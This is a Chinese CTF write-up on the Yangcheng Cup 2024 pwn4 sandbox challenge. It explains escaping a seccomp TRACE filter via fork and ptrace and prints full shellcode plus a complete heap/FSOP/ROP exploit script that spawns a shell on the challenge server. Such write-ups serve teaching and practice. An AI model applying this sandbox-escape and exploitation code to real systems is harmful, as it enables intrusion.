首页 > 其他分享 >羊城杯2024 pwn4的反思

羊城杯2024 pwn4的反思

时间:2024-09-01 21:25:01浏览次数:5  
标签:pwn4 libc mov pop 2024 syscall 羊城 base rax

前言

今天无聊乱刷的时候发现有师傅说羊城杯的pwn4(hardsandbox)用openat2只能打通本地,远程无法打通,于是点击看了一下文章,发现了一个对沙箱的逃逸的知识点。

正文

为什么openat2无法打通远程

Qanux师傅说是远程的 kernel(linux内核) 版本是 5.4,而 openat2 系统调用是在 kernel 5.6 才引入的,所以这种方法作废。

怎么办?

我们不难发现,此次沙箱的开法和平常不太一样:

 

平常我们看到的都是:return KILL,这一次不太一样,是return TRACE,我们来看一下The Linux Kernel Archives对这一条指令的描述(链接:Seccomp BPF (SECure COMPuting with filters) — The Linux Kernel documentation):

Return values

A seccomp filter may return any of the following values. If multiple filters exist, the return value for the evaluation of a given system call will always use the highest precedent value. (For example, SECCOMP_RET_KILL_PROCESS will always take precedence.)

In precedence order, they are:

SECCOMP_RET_KILL_PROCESS:

Results in the entire process exiting immediately without executing the system call. The exit status of the task (status & 0x7f) will be SIGSYS, not SIGKILL.

SECCOMP_RET_KILL_THREAD:

Results in the task exiting immediately without executing the system call. The exit status of the task (status & 0x7f) will be SIGSYS, not SIGKILL.

SECCOMP_RET_TRAP:

Results in the kernel sending a SIGSYS signal to the triggering task without executing the system call. siginfo->si_call_addr will show the address of the system call instruction, and siginfo->si_syscall and siginfo->si_arch will indicate which syscall was attempted. The program counter will be as though the syscall happened (i.e. it will not point to the syscall instruction). The return value register will contain an arch- dependent value -- if resuming execution, set it to something sensible. (The architecture dependency is because replacing it with -ENOSYS could overwrite some useful information.)

The SECCOMP_RET_DATA portion of the return value will be passed as si_errno.

SIGSYS triggered by seccomp will have a si_code of SYS_SECCOMP.

SECCOMP_RET_ERRNO:

Results in the lower 16-bits of the return value being passed to userland as the errno without executing the system call.

SECCOMP_RET_USER_NOTIF:

Results in a struct seccomp_notif message sent on the userspace notification fd, if it is attached, or -ENOSYS if it is not. See below on discussion of how to handle user notifications.

SECCOMP_RET_TRACE:

When returned, this value will cause the kernel to attempt to notify a ptrace()-based tracer prior to executing the system call. If there is no tracer present, -ENOSYS is returned to userland and the system call is not executed.

A tracer will be notified if it requests PTRACE_O_TRACESECCOMP using ptrace(PTRACE_SETOPTIONS). The tracer will be notified of a PTRACE_EVENT_SECCOMP and the SECCOMP_RET_DATA portion of the BPF program return value will be available to the tracer via PTRACE_GETEVENTMSG.

The tracer can skip the system call by changing the syscall number to -1. Alternatively, the tracer can change the system call requested by changing the system call to a valid syscall number. If the tracer asks to skip the system call, then the system call will appear to return the value that the tracer puts in the return value register.

The seccomp check will not be run again after the tracer is notified. (This means that seccomp-based sandboxes MUST NOT allow use of ptrace, even of other sandboxed processes, without extreme care; ptracers can use this mechanism to escape.)

SECCOMP_RET_LOG:

Results in the system call being executed after it is logged. This should be used by application developers to learn which syscalls their application needs without having to iterate through multiple test and development cycles to build the list.

This action will only be logged if “log” is present in the actions_logged sysctl string.

SECCOMP_RET_ALLOW:

Results in the system call being executed.If multiple filters exist, the return value for the evaluation of a given system call will always use the highest precedent value.

Precedence is only determined using the SECCOMP_RET_ACTION mask. When multiple filters return values of the same precedence, only the SECCOMP_RET_DATA from the most recently installed filter will be returned.

翻译一下:

返回值

一个seccomp过滤器可能返回下列任意值。如果多个过滤器存在,评估一个指定系统调用的 返回值总会使用最高优先级的值。(比如 SECCOMP_RET_KILL_PROCESS 总是被优先 返回。)

按照优先级排序,它们是:

SECCOMP_RET_KILL_PROCESS:

使得整个进程立即结束而不执行系统调用。进程的退出状态 (status & 0x7f) 将 是 SIGSYS ,而不是 SIGKILL 。

SECCOMP_RET_KILL_THREAD:

使得线程立即结束而不执行系统调用。线程的退出状态 (status & 0x7f) 将是 是 SIGSYS ,而不是 SIGKILL 。

SECCOMP_RET_TRAP:

使得内核向触发进程发送一个 SIGSYS 信号而不执行系统调用。 siginfo->si_call_addr 会展示系统调用指令的位置, siginfo->si_syscall 和 siginfo->si_arch 会指出试图进行的系统调用。程序计数器会和发生了系统 调用的一样(即它不会指向系统调用指令)。返回值寄存器会包含一个与架构相关的值—— 如果恢复执行,需要将其设为合理的值。(架构依赖性是因为将其替换为 -ENOSYS 会导致一些有用的信息被覆盖。)

返回值的 SECCOMP_RET_DATA 部分会作为 si_errno 传递。

由seccomp触发的 SIGSYS 会有一个 SYS_SECCOMP 的 si_code 。

SECCOMP_RET_ERRNO:

使得返回值的低16位作为errno传递给用户空间,而不执行系统调用。

SECCOMP_RET_USER_NOTIF:

使得一个 struct seccomp_notif 消息被发送到已附加的用户空间通知文件描述 符。如果没有被附加则返回 -ENOSYS 。下面会讨论如何处理用户通知。

SECCOMP_RET_TRACE:

当返回的时候,这个值会使得内核在执行系统调用前尝试去通知一个基于 ptrace() 的追踪器。

如果没有追踪器, -ENOSYS 会返回给用户空间,并且系统调用不会执行。

如果追踪器通过 ptrace(PTRACE_SETOPTIONS) 请求了 PTRACE_O_TRACESECCOMP, 那么它会收到 PTRACE_EVENT_SECCOMP 通知。BPF程序返回值的 SECCOMP_RET_DATA 部分会通过 PTRACE_GETEVENTMSG 提供给追踪器。

追踪器可以通过改变系统调用号到-1来跳过系统调用。或者追踪器可以改变系统调用号到 一个有效值来改变请求的系统调用。如果追踪器请求跳过系统调用,那么系统调用将返回 追踪器放在返回值寄存器中的值。

在追踪器被通知后,seccomp检查不会再次运行。(这意味着基于seccomp的沙箱必须禁止 ptrace的使用,甚至其他沙箱进程也不行,除非非常小心;ptrace可以通过这个机制来逃 逸。)

SECCOMP_RET_LOG:

使得系统调用在被记录之后再运行。这应该被应用开发者用来检查他们的程序需要哪些 系统调用,而不需要反复通过多个测试和开发周期来建立清单。

只有在 actions_logged sysctl 字符串中出现 “log” 时,这个操作才会被记录。

SECCOMP_RET_ALLOW:

使得系统调用被执行。如果多个追踪器存在,评估系统调用的返回值将永远使用最高优先级的值。优先级只通过 SECCOMP_RET_ACTION 掩码来决定。当多个过滤器返回相同优先级的返回 值时,只有来自最近安装的过滤器的 SECCOMP_RET_DATA 会被返回。

 总结一下就是:

一个指定系统调用的返回值总会使用最高优先级的值。优先级如下表:

优先级
SECCOMP_RET_KILL_PROCESS:使得整个进程立即结束而不执行系统调用
SECCOMP_RET_KILL_THREAD:使得线程立即结束而不执行系统调用。
SECCOMP_RET_TRAP:使得内核向触发进程发送一个 SIGSYS 信号而不执行系统调用。
SECCOMP_RET_ERRNO:使得返回值的低16位作为errno传递给用户空间,而不执行系统调用。
SECCOMP_RET_USER_NOTIF:使得一个 struct seccomp_notif 消息被发送到已附加的用户空间通知文件描述 符。如果没有被附加则返回 -ENOSYS 。
SECCOMP_RET_TRACE:当返回的时候,这个值会使得内核在执行系统调用前尝试去通知一个基于 ptrace() 的追踪器。
SECCOMP_RET_LOG:使得系统调用在被记录之后再运行。
SECCOMP_RET_ALLOW:使得系统调用被执行。

如何利用:

不难发现SECCOMP_RET_TRACE是存在漏洞可以利用的:

当返回的时候,这个值会使得内核在执行系统调用前尝试去通知一个基于 ptrace() 的追踪器。
如果没有追踪器, -ENOSYS 会返回给用户空间,并且系统调用不会执行。
如果追踪器通过 ptrace(PTRACE_SETOPTIONS) 请求了 PTRACE_O_TRACESECCOMP, 那么它会收到 PTRACE_EVENT_SECCOMP 通知。BPF程序返回值的 SECCOMP_RET_DATA 部分会通过 PTRACE_GETEVENTMSG 提供给追踪器。
追踪器可以通过改变系统调用号到-1来跳过系统调用。或者追踪器可以改变系统调用号到 一个有效值来改变请求的系统调用。如果追踪器请求跳过系统调用,那么系统调用将返回追踪器放在返回值寄存器中的值。
在追踪器被通知后,seccomp检查不会再次运行。(这意味着基于seccomp的沙箱必须禁止 ptrace的使用,甚至其他沙箱进程也不行,除非非常小心;ptrace可以通过这个机制来逃逸。)

具体做法:

其具体做法是:使用 fork 开一个子进程,子进程需要 ptrace(PTRACE_TRACEME, 0, 0,0); 来允许自己被父进程追踪,父进程需使用 ptrace(PTRACE_ATTACH, pid, 0, 0); 来追踪子进程。然后父进程在 wait() 阻塞等待子进程发起系统调用。一旦捕捉到,则子进程阻塞,父进程继续运行,此时需用 ptrace(PTRACE_0_SUSPEND_SEECOMP, pid, 0, PTRACE_0_TRACESECCOMP); 将被 TRACE 系统的调用改为允许运行,然后 ptrace(PTRACE_SCONT);来恢复子进程的系统调用执行。既然我们已经可以逃逸检查,所以直接使用 execve 来拿 shell。

板子(来源于Qanux师傅):

链接:羊城杯 2024 pwn writeup | Qanux's space

order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:

    /* Step 1: fork a new process */
    mov rax, 57             /* syscall number for fork (on x86_64) */
    syscall                 /* invoke fork() */

    test rax, rax           /* check if return value is 0 (child) or positive (parent) */
    js _exit                /* if fork failed, exit */

    /* Step 2: If parent process, attach to child process */
    cmp rax, 0              /* are we the child process? */
    je child_process        /* if yes, jump to child_process */

parent_process:
    /* Store child PID */
    mov r8,rax

    mov rsi, r8            /* rdi = child PID */

    /* Attach to child process */
    mov rax, 101            /* syscall number for ptrace */
    mov rdi, 0x10           /* PTRACE_ATTACH */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    syscall                 /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */

monitor_child:
    /* Wait for the child to stop */
    
    mov rdi, r8            /* rdi = child PID */
    mov rsi, rsp            /*  no status*/
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no rusage */
    mov rax, 61             /* syscall number for wait4 */
    syscall                 /* invoke wait4() */

    /* Set ptrace options */
    mov rax, 110
    syscall    
    mov rdi, 0x4200         /* PTRACE_SETOPTIONS */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    mov r10, 0x00000080     /* PTRACE_O_TRACESECCOMP */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */

    /* Allow the child process to continue */
    mov rax, 110
    syscall
    
    mov rdi, 0x7            /* PTRACE_CONT */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */

    /* Loop to keep monitoring the child */
    jmp monitor_child

child_process:
    /* Child process code here */
    /* For example, we could execute a shell or perform other actions */
    /* To keep it simple, let's just execute `/bin/sh` */
                
    /* sleep(5) */
    /* push 0 */
    push 1
    dec byte ptr [rsp]
    /* push 5 */
    push 5
    /* nanosleep(requested_time='rsp', remaining=0) */
    mov rdi, rsp
    xor esi, esi /* 0 */
    /* call nanosleep() */
    push SYS_nanosleep /* 0x23 */
    pop rax
    syscall

    mov rax, 0x{order2}  /* "/bin/sh" */
    push rax
    mov rax, 0x{order1}  /* "/bin/sh" */
    push rax
    mov rdi, rsp    
    mov rsi, 0
    xor rdx, rdx
    mov rax, 59             /* syscall number for execve */
    syscall
    jmp child_process

_exit:
    /* Exit the process */
    mov rax, 60             /* syscall number for exit */
    xor rdi, rdi            /* status 0 */
    syscall
""")

完整exp:

from pwn import *
from pwncli import *
from pwn_std import *

context(os='linux', arch='amd64', log_level='debug')
p = getProcess("139.155.126.78", "38645", "./pwn")
elf = ELF("./pwn")
libc = ELF("/home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6")
'''
patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./patchelf
patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./patchelf
ROPgadget --binary main --only "pop|ret" | grep rdi
set debug-file-directory /home/mazhatter/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/.debug/
'''

def choose(num):
    sla(b'>',str(num))
def add(index,size):
    choose(1)
    sla(b'Index: ',str(index))
    sla(b'Size: ',str(size))
def delete(index):
    choose(2)
    sla(b'Index: ',str(index))
def edit(index,content):
    choose(3)
    sla(b'Index: ',str(index))
    sla(b'Content: ',content)
def show(index):
    choose(4)
    sla(b'Index: ',str(index))

add(0,0x520)
add(1,0x518)
add(2,0x500)
add(3,0x510)
delete(0)
add(4,0x550)

show(0)
print("__malloc_hook=",hex(libc.sym["__malloc_hook"]))
libc_base=uu64(ru('\x7f'))-0x1f70f0
edit(0,b'a'*0x10)
show(0)

heap_base=uu64(ru('\x55')[-6:])-0x20a
print("libc_base=",hex(libc_base))
print("heap_base=",hex(heap_base))
edit(0,p64(libc_base+0x1f70f0)*2+p64(heap_base+0x5575468e9f7a-0x5575468ea000+0x290)+p64(libc_base+libc.sym["_IO_list_all"]-0x20))



open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
syscall_addr=libc_base+0x91316
_IO_wfile_jumps = libc.sym._IO_wfile_jumps
pop_rdi=libc_base+0x0000000000023b65
pop_rdx=libc_base+0x0000000000166262
pop_rsi=libc_base+0x00000000000251be
pop_rax=libc_base+0x000000000003fa43
'''
mazhatter@ASUA:~/CTF/pwn/pwn_赛事/羊城杯/tempdir$ ROPgadget --binary /home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6 --only "pop|ret" | grep rdi
0x0000000000023e75 : pop rdi ; pop rbp ; ret
0x0000000000023b65 : pop rdi ; ret
mazhatter@ASUA:~/CTF/pwn/pwn_赛事/羊城杯/tempdir$ ROPgadget --binary /home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6 --only "pop|ret" | grep rdx
0x000000000008bcd8 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000008bcd9 : pop rdx ; pop rbx ; ret
0x0000000000101353 : pop rdx ; pop rcx ; pop rbx ; ret
0x0000000000166262 : pop rdx ; ret
mazhatter@ASUA:~/CTF/pwn/pwn_赛事/羊城杯/tempdir$ ROPgadget --binary /home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6 --only "pop|ret" | grep rsi
0x0000000000023e73 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000023b63 : pop rsi ; pop r15 ; ret
0x00000000000251be : pop rsi ; ret
0x00000000000472ee : pop rsi ; ret 0xfffe
mazhatter@ASUA:~/CTF/pwn/pwn_赛事/羊城杯/tempdir$ ROPgadget --binary /home/mazhatter/glibc-all-in-one/libs/2.36-0ubuntu4_amd64/libc.so.6 --only "pop|ret" | grep rax
0x000000000003f822 : pop rax ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x0000000000140588 : pop rax ; pop rbx ; pop rbp ; ret
0x000000000008bcd8 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000003fa43 : pop rax ; ret
0x000000000002e104 : pop rax ; ret 0x18
'''


fake_IO_wide_data=flat({
    0x0:[pop_rdi,#pop rdi
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret
        0,##
        libc_base+0x0000000000108b03,#libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret
        0,
        0,##
        0,
        libc_base+0x0000000000045eb0,#0x0000000000045eb0 : pop rax ; ret
        2,
        libc_base+libc.sym["syscall"]+27,
        libc_base+0x000000000002a3e5,#pop rdi
        3,
        libc_base+0x000000000002be51,#0x000000000002be51 : pop rsi ; ret,
        heap_base+0x5626d7c3b950- 0x5626d7c39000,
        libc_base+0x000000000011f2e7,#0x000000000011f2e7 : pop rdx ; pop r12 ; ret,
        0x100,
        0,
        read_addr,
        libc_base+0x000000000002a3e5,#pop rdi,
        1,
        write_addr,],
    0xb0:0,
    0xb8:0,
    0xc0:0,
    0xc8:0,
    0xd0:0,
    0xd8:0,
    0xe0:0x558f4c7b1ea0- 0x558f4c7b1000+heap_base,
    0xe8:[p64(0)*6,p64(heap_base+0xf10)],
    0x148:libc_base+0x0000000000160e56
})

fake_IO_FILE=flat({
    0x0:0,  #_IO_read_end
    0x8:0,  #_IO_read_base
    0x10:0,  #_IO_write_base
    0x18:0,  #_IO_write_ptr
    0x20:0,  #_IO_write_end
    0x28:0,  #_IO_buf_base
    0x30:0,  #_IO_buf_end
    0x38:0,  #_IO_save_base
    0x40:0,  #_IO_backup_base
    0x48:0,#_IO_save_end
    0x50:0,  #_markers
    0x58:0,  #_chain
    0x60:0,  #_fileno
    0x68:0,  #_old_offset
    0x70:0,  #_cur_column
    0x78:0,  #_lock
    0x80:0,  #_offset
    0x88:0,  #_codecvt
    0x90:0x559123894dc0-0x559123894000+heap_base,  #_wide_data
    0x98:0,  #_freeres_list
    0xa0:0,  #_freeres_buf
    0xa8:0,  #__pad5
    0xb0:0,  #_mode
    0xc8:_IO_wfile_jumps+libc_base,#vtable

})
edit(1,b'./flag\x00\x00'+p64(0)*0xa1+p64(heap_base+0xf10))
payload3=p64(libc_base+0x00000000000233d1)*1+p64(libc_base+0x00000000000251bd)+p64(100)+p64(libc_base+0x00000000000251bd)+p64(libc_base+0x0000000000054990)+p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x3000)+p64(pop_rdx)+p64(7)+p64(libc_base+libc.sym["mprotect"])

payload4=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload4+=p64(heap_base+0x1000)#read函数返回地址

shell='''
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push 437
    pop rax
    syscall

'''

order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:

    /* Step 1: fork a new process */
    mov rax, 57             /* syscall number for fork (on x86_64) */
    syscall                 /* invoke fork() */

    test rax, rax           /* check if return value is 0 (child) or positive (parent) */
    js _exit                /* if fork failed, exit */

    /* Step 2: If parent process, attach to child process */
    cmp rax, 0              /* are we the child process? */
    je child_process        /* if yes, jump to child_process */

parent_process:
    /* Store child PID */
    mov r8,rax

    mov rsi, r8            /* rdi = child PID */

    /* Attach to child process */
    mov rax, 101            /* syscall number for ptrace */
    mov rdi, 0x10           /* PTRACE_ATTACH */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    syscall                 /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */

monitor_child:
    /* Wait for the child to stop */

    mov rdi, r8            /* rdi = child PID */
    mov rsi, rsp            /*  no status*/
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no rusage */
    mov rax, 61             /* syscall number for wait4 */
    syscall                 /* invoke wait4() */

    /* Set ptrace options */
    mov rax, 110
    syscall    
    mov rdi, 0x4200         /* PTRACE_SETOPTIONS */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    mov r10, 0x00000080     /* PTRACE_O_TRACESECCOMP */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */

    /* Allow the child process to continue */
    mov rax, 110
    syscall

    mov rdi, 0x7            /* PTRACE_CONT */
    mov rsi, r8            /* rsi = child PID */
    xor rdx, rdx            /* no options */
    xor r10, r10            /* no data */
    mov rax, 101            /* syscall number for ptrace */
    syscall                 /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */

    /* Loop to keep monitoring the child */
    jmp monitor_child

child_process:
    /* Child process code here */
    /* For example, we could execute a shell or perform other actions */
    /* To keep it simple, let's just execute `/bin/sh` */

    /* sleep(5) */
    /* push 0 */
    push 1
    dec byte ptr [rsp]
    /* push 5 */
    push 5
    /* nanosleep(requested_time='rsp', remaining=0) */
    mov rdi, rsp
    xor esi, esi /* 0 */
    /* call nanosleep() */
    push SYS_nanosleep /* 0x23 */
    pop rax
    syscall

    mov rax, 0x{order2}  /* "/bin/sh" */
    push rax
    mov rax, 0x{order1}  /* "/bin/sh" */
    push rax
    mov rdi, rsp    
    mov rsi, 0
    xor rdx, rdx
    mov rax, 59             /* syscall number for execve */
    syscall
    jmp child_process

_exit:
    /* Exit the process */
    mov rax, 60             /* syscall number for exit */
    xor rdi, rdi            /* status 0 */
    syscall
""")
print("length=",hex(len(shellcode)))

shell += shellcraft.sendfile(1,3,0,50)
edit(2,fake_IO_FILE+fake_IO_wide_data+payload3+payload4)

delete(2)
add(5,0x550)
#gdbbug()
sla(b'>',str(5))
pause()
sd(shellcode)
ita()

由于ls和cat都使用了open()系统调用来打开目录,但是我们拿到的shell依然处于沙箱的环境中,open系统调用被禁止使用,这也意味着我们无法使用 。

最后给出ls和cat的平替:

#ls
echo *

#cat flag
while IFS= read -r line; do  
    echo "$line"  
done < flag

标签:pwn4,libc,mov,pop,2024,syscall,羊城,base,rax
From: https://blog.csdn.net/2301_79327647/article/details/141761305

相关文章

  • 2024 International Conference on Artificial Intelligence and Digital Management
    文章目录一、会议详情二、重要信息三、大会介绍四、出席嘉宾五、征稿主题六、咨询一、会议详情二、重要信息大会官网:https://ais.cn/u/vEbMBz提交检索:EICompendex、IEEEXplore、Scopus大会时间:2024年9月20-22日大会地点:中国-南京三轮截稿:2024年9月14日三、大会......
  • 2024年数字经济与计算机科学国际学术会议(DECS2024) 2024 International Conference on
    文章目录一、会议详情二、重要信息三、大会介绍四、出席嘉宾五、征稿主题六、咨询一、会议详情二、重要信息大会官网:https://ais.cn/u/vEbMBz提交检索:EICompendex、IEEEXplore、Scopus大会时间:2024年9月20-22日大会地点:中国-厦门终轮截稿日期:2024年9月16日(早投......
  • CSP2024-12
    A题意:\(n\)块饼干,每块饼干有温度\(t_i\),吃一块饼干的代价等于\(\vertt_i-lst\vert\),\(lst\)表示吃/喝的前一样饼干/水的温度。给出初始水温\(w\),现在先喝一口水,以任意顺序吃掉\(n\)个饼干,求最小和最大的代价分别是什么。最小:\(\max(w,\maxt)-\min(w,\mint)\)......
  • 新赛道-2024年CSP-J/S 十一连测(四)-T1
    题目描述王老师脑袋一拍,定义了乘加运算!他定义 a∗bc=(a+b)×c 。而且他觉得用括号来规定运算的先后顺序太麻烦了,他给乘加运算定义了一个权值的系数(为乘加运算的下标),权值大的乘加运算先进行。例如下面的表达式:=====​9 ∗34​ 9 ∗12​ 1 ∗23​ 6 ∗41​ 29 ∗34......
  • 北京交通大学交通运输学院2024级迎新大会
    一、主持二、会上提到了几个会议:ICTTS、ISROR、RailBeijing三、就业单位四、各实验室的视频。这句话也可以用一用五、关于新生班主任六、关于代表学生发言这是第八个年头了,说来惭愧,我既没有大脑班本身的论文,也没有卷王班满记的成绩,但转念一想,我这一路走来有许多......
  • 20240908_030339 编程剪辑 读取音频对像获得音频时长
    需求有一个目录里存放了多个音频文件我们要获取这些音频文件的相关信息编写一个方法接收音频文件的目录返回音频信息列表示例......
  • 2024年8月文章一览
    2024年8月编程人总共更新了3篇文章:1.2024年7月文章一览2.《ProgrammingfromtheGroundUp》阅读笔记:p95-p1023.《ProgrammingfromtheGroundUp》阅读笔记:p103-p1168月,对自己而言是糟糕的一个月,两个项目要赶,从月初赶到月底。一路战战兢兢,如履薄冰,好在终于赶在月底顺利完成......
  • [20240829]关于依赖链3.txt
    [20240829]关于依赖链3.txt--//如果修改表结构或者改名,相关的sql语句在共享池会失效,必须重新分析,我开始学习orcle时候,一直认为这些相关信息保存在表对象--//句柄的堆0里面,如果涉及到的sql语句很多,这样堆0应该很大,而实际上的情况上堆0一直没有变化.我曾经问过别人这个问题,......
  • [20240827]分析为什么出现library cache lock等待事件2.txt
    [20240827]分析为什么出现librarycachelock等待事件2.txt--//前几天一直在分析如果表不存在的情况下,密集执行为什么出现librarycachelock等待事件,而且出现的mode=2(共享模式),按照道--//理不应该阻塞,做一个分析.1.环境:SCOTT@book01p>@ver2==============================......
  • [20240828]分析为什么出现library cache lock等待事件5.txt
    [20240828]分析为什么出现librarycachelock等待事件5.txt--//前几天测试遇到的问题,假如表不存在的情况下,如果密集执行这类sql语句,不理解为什么出现librarycachelock等待事件.--//验证如果有1个会话,是否会持有mode=3的情况出现.--//上午使用gdb设置断点来验证,这次直接密集......